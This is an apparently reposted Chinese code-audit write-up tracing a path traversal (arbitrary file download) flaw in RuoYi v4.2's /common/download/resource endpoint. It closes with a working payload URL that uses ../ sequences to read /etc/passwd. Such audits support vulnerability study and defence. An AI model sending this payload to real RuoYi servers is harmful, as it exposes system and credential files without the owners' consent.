代码位于 RuoYi-v4.2\ruoyiadmin\src\main\java\com\ruoyi\web\controller\common\CommonController.java 第96行-第111行。通过注释一目了然该部分代码的作用。如下图所示:

通过全局搜索关键字 resourceDownload ,发现并没有其他功能调用他。

既然这样,只能分析代码,自己构造请求了。
①、首先,漏洞代码点位于第110行,使用了 FileUtils.writeBytes() 方法输出指定文件的byte数组,即将文件从服务器下载到本地。其中该函数中有两个参数,分别为 downloadPath 和 response.getOutputStream() 。
getOutputStream() 方法用于返回Servlet引擎创建的字节输出流对象,Servlet程序可以按字节形式输出响应正文。
②、 downloadPath 来自第103行,是由 localPath 和StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX); 组成。
StringUtils.substringAfter() 方法为取得指定字符串后的字符串。 resource是请求中接收参数的字段。 Constants.RESOURCE_PREFIX 为设置的常量 /profile ,主要作用为资源映射路径的前缀。
③、 localPath 来自第101行注释为 本地资源路径 ,通过打个端点,我们可以看到localPath: D:/ruoyi/uploadPath ,是从src\main\resources\application.yml 配置文件中第12行文件路径中获取的。
这里关于路径单独把代码拿出来再说一遍:

// 本地资源路径
String localPath = Global.getProfile();     //最终localPath = D:/ruoyi/uploadPath


// 数据库资源地址
String downloadPath = localPath + StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX);

把上面这句拆开
Constants.RESOURCE_PREFIX //这个东西是写死了的,是常量/profile
StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX);    //StringUtils.substringAfter() 方法为取得指定字符串后的字符串; resource是请求中接收参数的字段。
所以这句话的意思是取得请求中resource后面传过来的常量/profile后面的字符串
例子
    比如请求是http://127.0.0.1/?resource=/profile/a/b/c.jsp
那经过StringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX)处理后就变成了/a/b/c.jsp

所以这里要下载的文件地址为downloadPath = localPath(D:/ruoyi/uploadPath) + /?resource=/profile后面传入的字符串

第③点如下图所示:

④、通过第96行,知道接口路径为 /common/download/resource ,仅接受GET请 求。

⑤、通过第97行, String resource 知道接收参数值的为 resource 。
汇总下信息。首先应该知道,处理整个文件流程,是没有任何防护的。根据接口路径和接收参数字段组合为 /common/download/resource?resource= 。根据 StringUtils.substringAfter() 方法为取得指定字符串后的字符串,其中指定的字符串为 /profile 。也就是取得 /profile 之后的字符串。那么最终,漏洞Payload为 http://127.0.0.1/common/download/resource?resource=/profile/../../../../etc/passwd 。具体几个 ../ 要看实际设置目录的深度。


文章来源: https://xz.aliyun.com/t/11928
如有侵权请联系:admin#unsafe.sh